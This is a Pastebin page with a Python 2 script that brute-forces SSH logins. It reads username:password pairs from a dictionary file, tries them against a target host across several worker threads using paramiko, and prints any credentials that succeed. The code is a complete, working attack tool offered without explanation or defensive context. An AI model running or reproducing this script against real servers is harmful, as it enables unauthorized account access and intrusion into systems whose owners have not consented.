Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- from paramiko import SSHClient
- from paramiko.ssh_exception import AuthenticationException,SSHException
- from paramiko.client import AutoAddPolicy
- import sys
- import threading
- import Queue
- HOST=None
- PORT=22
- DICT_FILE=None
- NUM_THREADS = 2
- arg_map = dict()
- class WorkerThread(threading.Thread) :
- def __init__(self, queue) :
- threading.Thread.__init__(self)
- self.queue = queue
- #create and setup SSH client
- self.client = SSHClient()
- self.client.set_missing_host_key_policy(AutoAddPolicy())
- def run(self):
- while True:
- credentials = self.queue.get()
- self.ssh_connect(credentials)
- self.queue.task_done()
- def ssh_connect(self, credentials):
- try:
- self.client.connect(hostname=HOST,port=PORT,
- username=credentials[0],
- password=credentials[1],
- timeout=10)
- except AuthenticationException, e:
- print("invalid credentials: {}".format(credentials))
- return
- except SSHException, msg:
- print(msg)
- return
- except Exception, e:
- print("failed to process credentials: {}".format(credentials))
- return
- print("success: {} OK!".format(credentials))
- def parse_args():
- global HOST, PORT, DICT_FILE, NUM_THREADS
- HOST = sys.argv[1]
- for i in range(2, len(sys.argv)-1):
- arg_map[sys.argv[i]] = sys.argv[i+1]
- PORT = int(arg_map.get('-p', PORT))
- DICT_FILE = arg_map.get('-f', DICT_FILE)
- NUM_THREADS = int(arg_map.get('-t', NUM_THREADS))
- def help():
- print("{} host [-p port] -f dict_file [-t num_threads]".format(sys.argv[0]))
- def main():
- if len(sys.argv) < 2:
- help()
- sys.exit(1)
- parse_args()
- if not HOST or not DICT_FILE:
- help()
- sys.exit(2)
- print("HOST = {}".format(HOST))
- print("PORT = {}".format(PORT))
- print("DICT_FILE = {}".format(DICT_FILE))
- print("NUM_THREADS = {}".format(NUM_THREADS))
- queue = Queue.Queue()
- for i in range(NUM_THREADS):
- print("Creating worker thread: %d" % i)
- worker = WorkerThread(queue)
- worker.setDaemon(True)
- worker.start()
- print("worker thread %d created!" % i)
- #process dictionary password file
- with open(DICT_FILE, "r") as f:
- for line in f:
- queue.put(line.strip().split(':'))
- queue.join()
- print("All tasks done!")
- if __name__ == '__main__':
- main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement